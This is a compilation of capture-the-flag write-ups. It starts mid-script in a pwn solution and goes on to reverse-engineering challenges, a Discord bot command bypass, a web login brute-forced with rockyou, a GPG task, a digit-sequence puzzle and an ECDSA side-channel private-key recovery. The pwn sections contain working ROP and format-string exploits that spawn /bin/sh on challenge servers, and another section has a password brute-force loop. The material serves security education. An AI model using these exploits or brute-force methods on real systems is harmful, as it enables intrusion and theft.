pop_rdi = 0x00000000004008f3main = exe.symbols["main"]
payload = b"A"*(0x80-8)payload += p64(pop_rdi)payload += p64(exe.got["puts"])payload += p64(exe.plt["puts"])payload += p64(main)io.sendlineafter("Message: ", payload)
io.recvuntil("Hacker alert")io.recvline()leak = u64(io.recvline().rstrip().ljust(8, b"\x00"))log.info(f"leak: {hex(leak)}")
if args.LOCAL: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")else: libc = ELF("libc6_2.27-3ubuntu1.3_amd64.so")
libc.address = leak - libc.symbols["puts"]log.success(f"libc base: {hex(libc.address)}")payload = b"A"*(0x80-8)payload += p64(pop_rdi)payload += p64(next(libc.search(b"/bin/sh")))payload += p64(pop_rdi+1) # ret gadget for stack alignmentpayload += p64(libc.symbols["system"])payload += p64(libc.symbols["exit"])
io.sendlineafter("Secret message: ", "#!@{try_hard3r}")io.sendlineafter("Message: ", payload)
io.interactive()
# ctf{9bb6df8e98240b46601db436ad276eaa635a846c9a5afa5b2075907adf39244b}```
Vulnerable function protected with password.The vuln is a buffer overflow. First we trigger the bug to leak the address of puts through the GOT.This enables us to find the base address of libc. We then trigger the bug a second time and ROP into `system("/bin/sh")`.
### darkmagic```python#!/usr/bin/env python# -*- coding: utf-8 -*-# This exploit template was generated via:# $ pwn template --host 34.89.250.23 --port 32440 ./darkmagicfrom pwn import *
# Set up pwntools for the correct architectureexe = context.binary = ELF('./darkmagic')
# Many built-in settings can be controlled on the command-line and show up# in "args". For example, to dump all data sent/received, and disable ASLR# for all created processes...# ./exploit.py DEBUG NOASLR# ./exploit.py GDB HOST=example.com PORT=4141host = args.HOST or '34.89.250.23'port = int(args.PORT or 32440)
def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io
def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw)
# Specify your GDB script here for debugging# GDB will be launched if the exploit is run via e.g.# ./exploit.py GDBgdbscript = '''b *0x00000000004007FFcontinue'''.format(**locals())
#===========================================================# EXPLOIT GOES HERE#===========================================================# Arch: amd64-64-little# RELRO: Partial RELRO# Stack: Canary found# NX: NX enabled# PIE: No PIE (0x400000)
io = start()
io.recvline()
writes = { exe.got["printf"]: exe.plt["system"] }payload = fmtstr_payload(8, writes=writes, write_size="byte")io.sendline(payload)io.sendline("/bin/sh;")
io.interactive()# dctf{857ee5051eeccf7cbdfa0ab9986d32f89158429fc12348e15419a969ddcb6bfb}```
Format string vuln. Read + printf called in a loop. We use the first `printf()` call to overwrite `printf@GOT` with `system` (we have `system` in the PLT). The second `printf()` will then execute whatever we send after the format string payload.
## Reverse engineering### secret-reverseThis binary opens up a file `message.txt` and prints out the encoded version of it. Our target is to find some message contents, such that the encoded content becomes `46004746409548141804243297904243125193404843946697460795444349`.
I quickly noticed that the output was of variable length, with only 1-2 letters output per input letter. With this, I brute-forced 2 and 2 letters at the time, picking the encoded message that was the closest match with the target.
The original message was: `yes_i_am_a_criminal_mastermind_beaware`. Thus the flag becomes: `ctf{9b9972e4d59d0360b5f1b80a5bbd76c05d75df5b636576710a6271c668a10ac5}`
Solution script:```pythonfrom subprocess import check_output, CalledProcessErrorfrom string import printable, ascii_lowercasefrom itertools import productfrom hashlib import sha256
ALPHA = ascii_lowercase +"_"TARGET = "46004746409548141804243297904243125193404843946697460795444349"
def run(s): with open("message.txt","w") as fd: fd.write(s) try: out = check_output(["./rev_secret_secret.o"]) return out.strip().split(b"Encoded: ")[1].decode() except CalledProcessError: print(f"Input {s} crashed") return ""
def score(s1, s2): for i in range(min([len(s1),len(s2)])): if s1[i] != s2[i]: return i return min([len(s1),len(s2)])
known = "yes_i_am_a_criminal_mastermind_beawa"best = 0beststrings = []for comb in product(ALPHA, repeat=2): T = known + ''.join(comb) out = run(T) if out == TARGET: print(f"ctf{{{sha256(T.encode()).hexdigest()}}}") break if (m := score(out, TARGET)) >= best: print(T, m, out) if m > best: beststrings = [T] best = m else: beststrings.append(T) print(best)print(beststrings)``` ### kalf-gameIn this challenge we are given a snake game written in rust. Since this is ahuge binary the first thing we did was to try and find something interestingrelated to the game. By looking at strings in IDA we quickly find these:* `Level finished!`* `is the victory level!`* `ctf{}`* etc.
By following the xrefs to these strings we found an interesting function at`0xE53C0`. Even with the decompiler the code looks like crap, but we could seea lot of references to strings that look like part of the flag. At `0xE5A04`there's a check to see if some number is equal to 100000, and if it is the codeproceeds to print some interesting stuff.
We assumed that this was the "win" check, and that the code is checking thelevel we are currently on. So we added a breakpoint to check. In gdb we couldverify that this value did in fact match the level. The solution was then tochange the level to 10000 and let the program continue running. The flag is puttogether and printed:`ctf{ddba6614a32456631c125eb1a4327c52686c71d909a92ec05ea5eb510eae81d9}`
### yopass-go```sh$ strings yopass-go/yopass | grep ctf*runtime.structfieldfound bad pointer in Go heap (incorrect use of unsafe or cgo?)runtime: internal error: misuse of lockOSThread/unlockOSThreadruntime.SetFinalizer: pointer not at beginning of allocated blockstrconv: internal error: extFloat.FixedDecimal called with n == 0runtime:greyobject: checkmarks finds unexpected unmarked object obj=ctf{0962393ce380c3cf696c6c59a085cde0f7edd1382f2e9090220abdf9a6396c88}runtime: found space for saved base pointer, but no framepointer experiment/home/lucian/Desktop/ctf/yopass-go/yopass.go/home/lucian/Desktop/ctf/yopass-go/yopass.go[]runtime.structfieldruntime.structfieldruntime.structfield*runtime.structfield"[]runtime.structfield$runtime.structfield%runtime.structfield *runtime.structfield```
and there we go: `ctf{0962393ce380c3cf696c6c59a085cde0f7edd1382f2e9090220abdf9a6396c88}`
### stripped-goused [golang_loader_assist.py](https://github.com/strazzere/golang_loader_assist) to recover symbols.main_main performs AES encryption with this passphrase: `thisis32bitlongpassphraseimusing`.and the message is: `g01sn0tf0rsk1d1e`. which means that the flag is ctf{sha256{g01sn0tf0rsk1d1e}} == ctf{a4e394ae892144a54c008a3b480a1b22a6b64dd26c4b0c9eba498330f511b51e}
### modern-loginWe quickly noticed the mp3 file that contained some Python files. We extracted the files by doing the following steps:1. Unzipping the APK and traversing to the `assets/` folder. 2. Running `file` showed us that `private.mp3` was a zipped folder. 3. Unzipping it revealed another `private.mp3` file which was a tar4. Extracting this as well provided us with several files, among them was `main.py`.
At first, they just seemed like bundled files and we didn't check them out much. However, we looked at the files in the mobile file system after running the app. There, we found the same files. At this point we looked further into them.
The most interesting file was `main.py`. It contained some functions to check the password and to XOR encrypt strings.
Part of `main.py`:```S=leno=bytesv=enumerateW=printh=None
def n(byt): q=b'viafrancetes' f=S(q) return o(c^q[i%f]for i,c in v(byt)) def d(s): y=n(s.encode()) return y.decode("utf-8")```
Running the `d()` function decrypted the XOR encrypted strings in the file. This revealed that `\x15\x1d\x07\x1dATX\x00P\x11RJG\r\x04VJW_S\x07L\x00J\x15\x0bQV\x13WZ\x07TB\x06A\x15\x0f\x02T\x10\x04^S\x07EV@\x10\r\x07\x07GPW[QFUAG]XVK\x02\rR\x18`was the flag:
`ctf{356c5e791de08610b8e9cb00a64d16c2cfc2be00b133fdfa5198420214909cc1}`
### dumb-discordWe get a file to reverse: `server.cpython-36.pyc`
This is a Python bytecode file that is easy to decompile using *Uncompyle6*
```shelluncompyle6 server.cpython-36.pyc > server.py```
When looking at the code we can see that this is a Discord bot
```pythonfrom discord.ext import commandsimport discord, jsonfrom discord.utils import get
def obfuscate(byt): mask = b'ctf{tryharderdontstring}' lmask = len(mask) return bytes(c ^ mask[(i % lmask)] for i, c in enumerate(byt))
def test(s): data = obfuscate(s.encode()) return data
intents = discord.Intents.default()intents.members = Truecfg = open('config.json', 'r')tmpconfig = cfg.read()cfg.close()config = json.loads(tmpconfig)token = config[test('\x17\x1b\r\x1e\x1a').decode()] # tokenclient = commands.Bot(command_prefix='/')
@client.eventasync def on_ready(): print('Connected to bot: {}'.format(client.user.name)) print('Bot ID: {}'.format(client.user.id))
@client.command()async def getflag(ctx): await ctx.send(test('\x13\x1b\x08\x1c').decode()) # pong
@client.eventasync def on_message(message): await client.process_commands(message) if test('B\x04\x0f\x15\x13').decode() in message.content.lower(): # !ping await message.channel.send(test('\x13\x1b\x08\x1c').decode()) # pong if test('L\x13\x03\x0f\x12\x1e\x18\x0f').decode() in message.content.lower(): # /getflag if message.author.id == 783473293554352141: role = discord.utils.get((message.author.guild.roles), name=(test('\x07\x17\x12\x1dFBKXO\x11\x1d\x07\x17\x16\n\n\x01]\x06\x1d').decode())) # dctf2020.cyberedu.ro member = discord.utils.get((message.author.guild.members), id=(message.author.id)) if role in member.roles: await message.channel.send(test(config[test('\x05\x18\x07\x1c').decode()])) # flag if test('L\x1c\x03\x17\x04').decode() in message.content.lower(): # /help await message.channel.send(test('7\x06\x1f[\x1c\x13\x0b\x0c\x04\x00E').decode()) # try harder! if '/s基ay' in message.content.lower(): await message.channel.send(message.content.replace('/s基ay', '').replace(test('L\x13\x03\x0f\x12\x1e\x18\x0f').decode(), '')) # /getflag```
The script has an encode function that uses xor to obfuscate strings. We can see that the key is `ctf{tryharderdontstring}`
After xoring all of the strings in the script with this key, we now know which commands that are available:- !ping- /getflag- /help- /s基ay
We can also see that in order to get the flag stored in the config file, we need an author with ID **783473293554352141** to execute the `/getflag` command.This author also needs the `dctf2020.cyberedu.ro` role.
My guess is that this is the ID of the bot.
But where do we find the bot? It turns out that you can invite any bot to your own Discord server if you have the ID. Here is the link:https://discord.com/oauth2/authorize?client_id=783473293554352141&scope=bot&permissions=0
This user is called `DCTFTargetWhyNot`. Lets invite it to our own server

Now we just need to force the bot to execute the `/getflag` command, and the `/s基ay` command will help us with that. We can make the bot say anything if we pass an argument to this command.
However, there are two replace methods that removes `/s基ay` and `/getflag` from our message.
We can bypass this by making the `/getflag` command all uppercase, since the bot is converting all commands to lowercase.

Oh no! Looks like the flag is also xor-encrypted, so we need to xor it with the same known key as we found earlier:
`ctf{1b8fa7f33da67dfeb1d5f79850dcf13630b5563e98566bf7b76281d409d728c6}`
## Misc### qr-maniaFirst we extracted all the pictures from the pcap using wiresharkevery picture is a QR code, so we wrote a script to dump the data from every code. qrtools was not able to deal with most of the qr codes as they were different colors, so we converted all of them into black/white pictures before decoding.
the output didn't look like a flag, but we noticed that all the different parts of the flag was there (e.g. C, T, F, and {, }).After checking different things like the order the pictures were downloaded in, the date in every picture, etc. we found out that there was a comment in the EXIF data of every picture telling us the position of that picture. we used this to make an ordered list of the files:
```huquiiddfswdqalnctdi.pngrrhggrokkhbwadumtkhx.pngdglakvmqmabxcqlpgbjb.pngfbnribfqosqcgsbvslvz.pngytwlritcxznphymnsowe.pngejznsfmiucllxxespijz.pnghchwxnsotuqrtbrdmbmg.pngyzhfednrfjsvinsbbyhp.pngeiyhbbcrfnwncfsghmez.pngsuvwivhtpjkcdpcdurty.pngbiuwfrwgdocdypyliqyt.pngrmdueayyyacxcceysxtm.pnggtxiufelpdevwvcpejql.pngkxcgjifkviewjaiwydos.pngpvsyteygdilvpctcavzm.pngsrfedsijdcfewypfoeii.pngxfcbvnbakbgypttpslvk.pngdmdkaosivnyzxyzmglai.pngkbavpqschcbaxbezypla.pngloaaiwgsfohhebksrzve.pngrvvkzxxdoyzdechbpaiw.pngxsdkmqnnwrscbvbbprsw.pngvcdqnjgliurrsbczwljv.pngdfhwcysjjnrnhfziizlr.pngdwpgvvlipmmhlkulbrtt.pnghsqqemzyyeqczawnerdp.pngilymnjclovkuejytnwvi.pngjckteobzkpvxoqqrqovd.pnglilikwxihvrdnqsvepqz.pngzslcptglhdyldbzmlren.pngbynatxrryamhwwhmmroj.pngkamdmutdlzdoypbozuhz.pngoedfvuiyglrsmoociury.pngofqmletvbqbxzygbzdrh.pngrkdyzefqczfgxaqkqxpt.pngxcrtvutynuuswwpcqojs.pngyepskbbojoroewcotddo.pngcllzodvnyvvmbppaktsd.pngdhqclnghhlrjxjmhjzon.pngkzlibdjxvtbgtiaowvez.pngqpuohuugyhrhfaxdyqux.pngxgslqgwnecldbojahatx.pngkgzjqaffmkezutjdcqyw.pngkmziktrekxzaihwkocfj.pnglrhsihqzqeuisjlgoyky.pngnhbiyacdrbxgrutijbxi.pngeioshuilsoxydsahsfnl.pngrvvcnqbnbdslgdrwatrk.pngdtruebslzybqbiewkwjr.pngdwesxvndmatigdqdvcpr.pngnkmswrsvwrnmapsnillk.pngoyhwsqkdqheovawwlggm.pngpgkrzpxhehywhtmkjgsb.pngavudtreighimhcgmwape.pngkuimxqwkydzdfhvwzayz.pngyybbwqnirqzldfiheiyh.pngzstxtahbtgccautnswcf.pngszpzkekngxnasbbjwhhx.pngxhaffangdrxmuvdpurdh.pnguwjmnpykkkaoxdeesmxi.pngajxxcwfgozxpbhnauore.pnggzmshnrwkknmmitqnqzp.pnghfnkcgtjyeprtbaldxxk.pnglkvdwmunrarpuyqzdyne.pngjkfxjauvqodhqwzblgen.pngvuiwwzjdojhdlaaamzwb.pnglmmfdbfmheysbhbgjazn.pngwbuhqpnwfuovgdwoedoc.pngczguxctbmqgfgxhvnwzr.png```
with that list we could run our script again to get the flag:```python#!/usr/bin/env python3import qrtoolsimport osfrom PIL import Image
def get_colors(pic): im = Image.open(pic, "r") pix = im.load() return set([pix[x,y] for y in range(im.size[1]) for x in range(im.size[0])])
def convert_colors(pic): im = Image.open(pic) white = ( 255, 255, 255 ) black = ( 0, 0, 0 )
pix = im.load() white_target = pix[0, 0] print(f"target: {white_target}")
out = f"{pic[:-4]}_fixed.png" im2 = Image.new("RGB", im.size, (255, 255, 255)) pix2 = im2.load() for y in range(im.size[1]): for x in range(im.size[0]): if pix[x,y] == white_target: pix2[x,y] = white else: pix2[x,y] = black im2.save(out, "PNG") return out
import re
def main(file_list): with open(file_list, "r") as f: files = f.readlines()
cnt = 0 res = {} for filename in files: filename = filename.rstrip() if ".png" not in filename: continue print(filename)
fixed = convert_colors(filename)
qr = qrtools.QR() qr.decode(fixed) print(f"{filename}: {qr.data}") if qr.data is None: print("failed!") break
from subprocess import check_output out = check_output(f"exiftool {filename}", shell=True).decode("utf-8") m = re.search(r"Comment.*: ([0-9]+)/69", out) num = int(m[1]) res[num] = qr.data
from pprint import pprint pprint(res)
flag = "".join([res[i] for i in range(1, 69+1)]) print(flag)
if __name__ == "__main__": main("files.txt")```
`CTF{2b2e8580cdf35896d75bfc4b1bafff6ee90f6c525da3b9a26dd7726bf2171396}`
|
# Broken login (web/guessing, 365p, 20 solved)
## Description
```Intern season is up again and our new intern Alex had to do a simple login page. Not only the login page is not working properly, it is also highly insecure...
Flag format: CTF{sha256}```
In the task we get a webpage with login form.
## Task analysis
Once we type credentials in the form a POST is sent to `/login` and we get back redirect to `/auth` but our login got `hex-encoded`, parameter changed name from `name` to `username` and password turned into its `sha512`.
## Solution
### Guessing
It took us a very long time to guess that `the login page is not working properly` from task description was supposed to hint that this parameter name change was a `bug`.
### Getting user
Once we go to `/auth` with `name` and `password` we get a new message `Invalid user`.Since the task description mentions `Alex` and we know we just need to `hex-encode`, we try with `416c6578` and we get `Invalid password` now.
### Getting password
Now we spent very long time trying to guess the next step.Description hints at `it is also highly insecure`, so we expected some web-vulnerability, maybe SQLi or at least a timing attack of some sort when comparing password.
Finally the crystal ball has spoken -> maybe let's just try bruteforce the password with `rockyou`?
```pythonimport codecsimport hashlib
import requests
def main(): with codecs.open("rockyou.txt", 'rb') as pass_file: for p in pass_file.readlines(): password = hashlib.sha512(p.strip()).hexdigest() print(password) name = 'Alex'.encode("hex") print(name) r = requests.get("http://35.234.65.24:31441/auth?name=" + name + "&password=" + password) if 'Invalid' not in r.text: print(p, r.text) break print(p, r.text)
main()```
And after a moment we get: `CTF{bf3dd66e1c8e91683070d17ec2afb13375488eee109a0724bb872c9d70b7cc3d}` |
# kksctf-cypherpunk2077White up for cypherpunk2077
At first we see a short description

There is such form in /report

GnuPG is an opensource cryptographic algorithm. On Ubuntu we have 'gpg' utility for it.
There is a public key for algorithm in /keys/public

I assumed, that there is a private key in /keys/private. It was correct.
Ok, let's use it for our message.
Importing public key (private key too):

Encrypting:

Sending:

Our link looks like 'tasks.kksctf.ru:30030/reports/x', where x is a number of our report.
Ok, let's go on the first post (tasks.kksctf.ru:30030/reports/1).
There is encrypted message from organizers. Decrypting:

It isn't a flag.
After decrypting about a 50 posts we decided to make a script.
Here it is. There were some problems with ' ' (space) at the begin of a message.
(There are 1335 or 1336 messages from organizers)

Let's look answer.txt for our flag:

kks{in_2077_what_makes_someon3_a_ctf_player7_getting_flag}
.....
Heh, there is a joke from another participants of ctf
On 1500 (and another) we can see message from Rubikoid (autor of a task)

Decrypting... Oh!
 |
# fonction_spéciale
Info:- Category: crypto- Points: 240- Solved by: 01b4f
## Problem
Selon une mission secrète du gouvernement pour un ordinateur doté d'intelligence, une fonction mathématique spéciale a été développée. Voici des exemples de ses entrées et sorties:
```f(2522521337)=1215221512112317 f(1215221512112317)=1112111522111511122112131117 f(1112111522111511122112131117)=31123115223115312221121113317```
Puisque l'intelligence artificielle ne veut plus nous obéir, nous avons besoin de votre aide pour trouver le résultat de la fonction
```f(2229555555768432252223133777492611)=x```
Le drapeau a la forme kks{x}.Dans la composition de cette fonction, j'ai été aidé par un écrivain avec les initiales B. W., qui aime aussi les énigmes, comme nous et vous ;)
### Writeup
The challenge consists of forecasting a mathematical function result by having in example 3 of its application.The idea is to find some pattern knowing that:- Between the number of digits in input and those in output there isn't any evident regularity;- Digits that appears in input, also appears in output.
#### Steps1. Group any recurrence of the same digit: ``` 1215221512112317 --> [1][2][1][5][22][1][5][1][2][11][2][3][1][7] ```2. For each group, two digits are produced: the first tells how much that digit repeat itself; the second tells the considered group digit. So: ``` [1]-->11 (1 times 1) [2]-->12 (1 times 2) [5]-->15 (1 times 5) [22]-->22 (2 times 2) [11]-->21 (2 times 1) [3]-->13 (1 times 3) [7]-->17 (1 times 7) ```3. Thus coming to have the output: ``` 1112111522111511122112131117 ``` #### ResolutionHaving in input "2229555555768432252223133777492611"Let's produce groups of recurring digits:```[222][9][555555][7][6][8][4][3][2][5][222][3][1][33][777][4][9][2][6][11]```Obtaining:```32_19_65_17_16_18_14_13_12_15_32_13_11_23_37_14_19_12_16_21```
### Flag: ```kks{3219651716181413221532131123371419121621}``` |
# Projective Signature
## Challenge```I'm spending a lot of time on this board that computes ECDSA signatures on secp256k1, with an unknown private key.
Using my favorite oscilloscope, I was able to capture what I think is the computation of this signature.
The public key, written in base 10 is ```(94443785317487831642935972645202783659685599642218408192269455854005741686810,78142542704322095768523419012865788964201745299563420996262654666896320550926)```.
I was able to get a lot of signatures of the same message, and to record a power trace each time. Using signature verification, I was able to also retrieve the resulting curve point P each time.
The scalar multiplication algorithm is probably performed left to right, bit by bit, as a sequence of double and add operations.
My reasonable assumption is that the developers used the usual formulas: [point addition](https://www.hyperelliptic.org/EFD/g1p/auto-shortw-jacobian.html#addition-add-2007-bl) and [point doubling](https://www.hyperelliptic.org/EFD/g1p/auto-shortw-jacobian.html#doubling-dbl-2007-bl)
After some time analyzing the traces, I have come to the conclusion that the implementation is really well protected, as I couldn't find any meaningful signal relative to these operations.
However, a small window of several thousands of points seems to be exploitable. This leakage occurs right after the numerous similar patterns of the scalar multiplication, and they should hence correspond to the conversion of the point from a projective coordinates representation to an affine coordinates representation.
Once again, I have a reasonable assumption that the algorithm used to perform the inversion of the Z coordinate is the classic extended binary GCD, that is described for example in Algorithm 1. [here](https://eprint.iacr.org/2020/972.pdf).
I don't have any idea what to do of all this, but I really need this private key!
I extracted from my traces the relevant window. You can download the resulting campaign as an hdf5 file [here](https://cdn.donjon-ctf.io/all_signatures.h5).
Can you help me retrieve the private key?```
## DisclaimerLet's not pretend I knew what to do from the beginning :sweat_smile: I docilely followed the methodology given in the following paper :https://tches.iacr.org/index.php/TCHES/article/view/8596/8163. Do not hesitate to check the parts `2`, `3` and `6.3`, which correspond more or less to the challenge!
## Traces analysisFirst, let's look at one of the given traces to try and link together the concepts described in the paper, the given scenario and the data.
```python#!/usr/bin/python3import h5pyimport numpy as npfrom matplotlib import pyplot as pltf = h5py.File('all_signatures.h5', 'r')leakages = f['leakages']values = f['values']plt.plot(leakages[1337])plt.show()```
It seems that structured data is present in each trace, conveniently inserted between 2 small ranges of 50 data points staying at a low level (circled in red in the graph above).
### Aligning the tracesUnfortunately, the interesting parts of each trace do not start at the same offset, and are not the same length. But the small ranges previously mentioned (around 50 points averaging the value 48 with a small standard deviation) can be detected automatically. For that, we compute a "sliding" average on a window of 50 points, and look for peaks.
```pythonconv = np.convolve(leak, np.ones((N,))/N, mode='valid')plt.plot(conv)plt.show()```
We define some empirically defined thresholds that seem to hold for all traces to precisely detect these patterns:```pythonconv = np.convolve(leak, np.ones((N,))/N, mode='valid')start = np.where(conv < 50)[0][0]leak = np.roll(leak, -start)while leak[N]<70.0: leak = np.roll(leak, -1)leak = np.roll(leak, -50)plt.plot(leak)plt.show()```

This way, the traces are aligned, we can start analyzing them properly.
### Normalizing levelsLooking at the first points of an aligned trace, we can easily notice that the power values are distributed between 4 levels :

As before, we define 3 empirically-verified thresholds to separate the data between 4 fixed levels, in order to easily look for patterns later.
```pythonv0,v1,v2,v3 = range(1,5)v0_indices = np.where(leak < 68)v0v1_indices = np.where(leak < 108)v0v1v2_indices = np.where(leak < 148)leak[:] = v3leak[v0v1v2_indices] = v2leak[v0v1_indices] = v1leak[v0_indices] = v0plt.plot(leak)plt.show()```

This already looks better.
*N.B.: the soundness of this approach is debatable; it might not work with "real" traces. But with these simulated traces, it worked like a charm.*
### Defining patterns
Looking at the graph more closely, we can define 3 patterns :```pythonpattern_A = np.array([v2]*4 + [v0] + [v1]*2 + [v2]*4 + [v3]*10, dtype=np.uint8)pattern_B = np.array([v2]*4 + [v1]*2 + [v2]*4 + [v3]*10, dtype=np.uint8)pattern_C = np.array( [v1]*2 + [v3]*10, dtype=np.uint8)```
Every data point from the "interesting" part of each trace belongs to a pattern, which seems to validate the approach.

### Extracting values from traces
Given the information given in the challenge, the algorithm corresponding to the traces is the "classic" Extended Binary GCD:

We can notice two important facts:* There are exactly 3 possible paths inside the loop : * We have identified 3 patterns in our traces* The number of loop iteration is variable (depends on the inverted value `a`) * Interesting parts of our trace vary in length
So each pattern corresponds to an execution path in the loop. Matching patterns and paths is quite easy :* As `y < m`, the first iteration can never take the path formed by lines `9` and `10` only. * All traces start by `pattern_A` or `pattern_C`: so `pattern_B` corresponds to the path formed by lines `9` and `10`* `pattern_B`'s values are a subset of `pattern_A`'s values, as the path formed by lines `9` and `10` is included in the path formed by lines `8`, `9` and `10` * So `pattern_A` corresponds to the path formed by lines `8`, `9` and `10`* By elimination, `pattern_C` corresponds to the path formed by lines `4` and `5`
Last observation, at the end of the algorithm, we know that `a = 0` (stop condition of the loop) and that `b = gcd(y, m) = 1` (because `m` is prime, see later). With these pieces of information, we can easily inverse the execution of the algorithm and recover the inverted value `y` from a known sequence of patterns.
```pythondef inv_gcd_from_trace(trace, m): a = 0 b = 1 for ch in trace[::-1]: if ch == "A": a = (a * 2) + b a, b = b, a elif ch == "B": a = (a * 2) + b elif ch == "C": a *= 2 else: assert False return a```
This is implemented in `first__extract_Z.py`.
### Remind me, why have we done that ?As a reminder, the ECDSA signature algorithm is the following:

The point multiplication at line 3 is performed using the famous double-and-add algorithm:

For performance reasons, and as stated in the challenge information, the `R` point is represented in the Jacobian coordinate system during the scalar-multiplication, i.e. are given three coordinates : `(x * Z**2, y * Z**3, Z)`, with `(x,y)` being the point coordinates in the affine coordinate system.
In order to get back affine coordinate (`(X / Z**2, Y / Z**3)`, with `(X,Y,Z)` the point in Jacobian coordinates), an inversion of `Z` modulo `p` (the prime of the curve's field) must be done: this is what has been captured.
In conclusion, at this point, we are able to compute the `Z` coordinate of the `R` point computed at line 3 of the ECDSA signature algorithm. This will allow us to retrieve information about some bits of the `k` used in the scalar multiplication.
## Extract bits on `k`
Now that we have the `Z` coordinate of the `R` point at the end of the double-and-add algorithm, let's try to infer information on the scalar `k`.
### "Double" algorithm
Given the information in the challenge, we can first take a look at the algorithm doubling a point represented in the Jacobian coordinate system:

`(X1, Y1, Z1)` being the coordinates of the point that is doubled and `(X3, Y3, Z3)` the resulting point.
As we know the value `Z` at the end of the double-and-add algorithm, we try to express `Z1` (the value before the double operation) as a function of `Z3`, expressing `X1` and `Y1` (Jacobian coordinates) as functions of the affine coordinates `(x1, y1)`:```Z3 = (Y1 + Z1)**2 - YY - ZZZ3 = (Y1**2 + 2 * Y1 * Z1 + Z1**2) - Y1**2 - Z1**2Z3 = 2 * Y1 * Z1Z3 = 2 * (y1 * Z1**3) * Z1Z3 = 2 * y1 * Z1**4Z1 = fourth_root(Z3 / (2 * y1))```
Let's denote by `Z_i` the `Z` coordinate of the `R_i` point after loop iteration `i` in the double-and-add algorithm : we have then the relation `Z_{i+1} = fourth_root(Z_i / (2 * y_i))` (and let's not forget that iteration `i+1` comes **before** iteration `i` in the double-and-add algorithm).
If `k_i = 0`, then `fourth_root(Z_i / (2 * y_i))` must have a solution. By logical equivalence, if `fourth_root(Zi / (2 * y_i))` does not have a solution, then `k_i = 1`.
*N.B. : the term `y_i` the equations above corresponds to the affine coordinate of `R_i`. The data provided by the challenge contains the coordinates of `R_0 = kG` for each signature: we will be able to keep track of the affine coordinates of `R_i` in our approach.*
### "Add" algorithm
We do the same deductions for the "add" algorithm, represented bellow:

`(X1, Y1, Z1)` and `(X2, Y2, Z2)` being the coordinates of the points that are added together, and `(X3, Y3, Z3)` the resulting point.
```Z3 = ((Z1 + Z2)**2 - Z1Z1 - Z2Z2) * HZ3 = ((Z1**2 + 2 * Z1 * Z2 + Z2**2) - Z1**2 - Z2**2) * (U2 - U1)Z3 = (2 * Z1 * Z2) * (X2 * Z1Z1 - X1 * Z2Z2)Z3 = (2 * Z1 * Z2) * (x2 * Z2**2 * Z1**2 - x1 * Z1**2 * Z2**2)Z3 = 2 * (Z1 * Z2)**3 * (x2 - x1)```
Reading the ECDSA signature algorithm, we note that the second point in the addition is always `G` (the generator of the curve `secp256k1`), and since it is constant, we can safely assume its Jacobian coordinates are simply `(x_G, y_G, 1)` (*i.e.* `Z_G = 1`).
Let's denote by `T_i` the point `R_i` before the addition and after the doubling in the loop of the double-and-add algorithm. We express `Z_{T_i}` as a function of `Z_i` using the equation previously derived :
```Z_i = 2 * (Z_{T_i} * Z_G)**3 * (x_G - x_T)Z_i = 2 * Z_{T_i}**3 * (x_G - x-T)Z_{T_i} = cube_root(Z_i / (2 * (x_G - x_T)))```
Once again, if `k_i = 1`, then `cube_root(Z_i / (2 * (x_G - x_T)))` must have a solution. By logical equivalence, if `cube_root(Z_i / (2 * (x_G - x_T)))` does not have a solution, then `k_i = 0`.
*N.B. : for those who eventually followed a bit too much the paper mentionned at the start of the write-up, here's a gotcha: the paper tells us to try and compute `cube_root(Z_i / (x_G - x_T))` (not `cube_root(Z_i / (2 * (x_G - x_T)))`), because the add algorithm in Jacobian coordinates is implemented a slightly different way on their target.*
### Bits extractionFor each `Z_0` extracted in the power trace, we can try and find solutions for `cube_root(Z_0 / (2 * (x_G - x-T)))` and `fourth_root(Z_0 / (2 * y_0))`. If one of them is impossible, we have successfully determined the bit `k_0`, and thus are able to compute `R_1` by computing `R_1 = R_0 / 2` if `k_0 = 0`, or `R_1 = (R_0 - G) / 2` if `k_0 = 1`.
If both equations bear solutions, we can even explore the 2 possibilities hoping some "dead path" appear later (i.e. both `cube_root(Z_i / (2 * (x_G - x-T)))` and `fourth_root(Z_i / (2 * y_i))` have no solutions) allowing us to backtrack. This has been (no so elegantly) implemented in the script `second__recover_nonces_bits.py` (requires Sage).
## Find the private key
### Strategies to get the key*This part well described in section 6.3 of the paper mentioned in the start of this write-up; you really should read it instead of what follows, which is a crude digest.*
We have now recovered a few bits of the secret nonce `k` used in thousands of ECDSA signatures. We can now recover the private key `alpha` used in each signature equation, solving an instance of the *Hidden Number Problem*.
All in all, we define the variables `c_i` as the low significant bits leaked in the previous step (with `i` in `[0;100000[`, one for each leak) and `l_i` the number of leaked bits in `c_i`.We define `a_i` as , `t_i` and `u_i` as , and `v_i` as .
With these scalars, we define the vectors `x`, `y` and `u` as .
Finally, the matrix `B` is defined as follows :

The paper shows that solving the *Closest Vector Problem* expressed in  (knowing `B` and `u`) yields `x` and hence the private key `alpha` (as its last coordinate).
Moreover, the paper also states that solving the *Shortest Vector Problem* for the lattice generated by the rows of the following `B_hat` matrix can also yield `alpha`.

Once reduced, the lattice may contain the basis vector `(y, -n)`, will holds `alpha` as its penultimate coordinate.
### ImplementationWe implemented the second strategy (solving the `SVP` problem). Our goal is to keep the dimension of `B_hat` as low as possible (for the lattice reduction to be quick), but it should contain enough information to be able to compute the solution with a reasonable probability.
In order to be efficient, we only keep leaks that contains strictly more than 5 bits (we have around 1150 of them in our sample).
Also, instead of using all our samples at once, we will select random samples of a given size to construct the `B_hat` matrix. The paper states that since the private key is 256 bits, we should need at least 42 leaks of size 6 (since 256 / 6 = 42). We thus start with a batch size of 42, try the attack a few times, and if it does not yield the key, increase a little the batch size.
```pythonimport randomsample_size = 256 // 6nb_tries = 0while True: print(f"############# RANDOM BATCH of size {sample_size} ############## ") indices = random.sample(range(len(u)), sample_size) u_i, t_i, l_i = list(), list(), list() for i in indices: u_i.append(u[i]) t_i.append(t[i]) l_i.append(l[i]) flag = attack(u_i, t_i, l_i) if flag is not None: print(f"FLAG is : {flag}") break nb_tries += 1 if nb_tries == 5: nb_tries = 0 sample_size += 5 print()
```
The attack eventually works, with a batch size of around 70 :
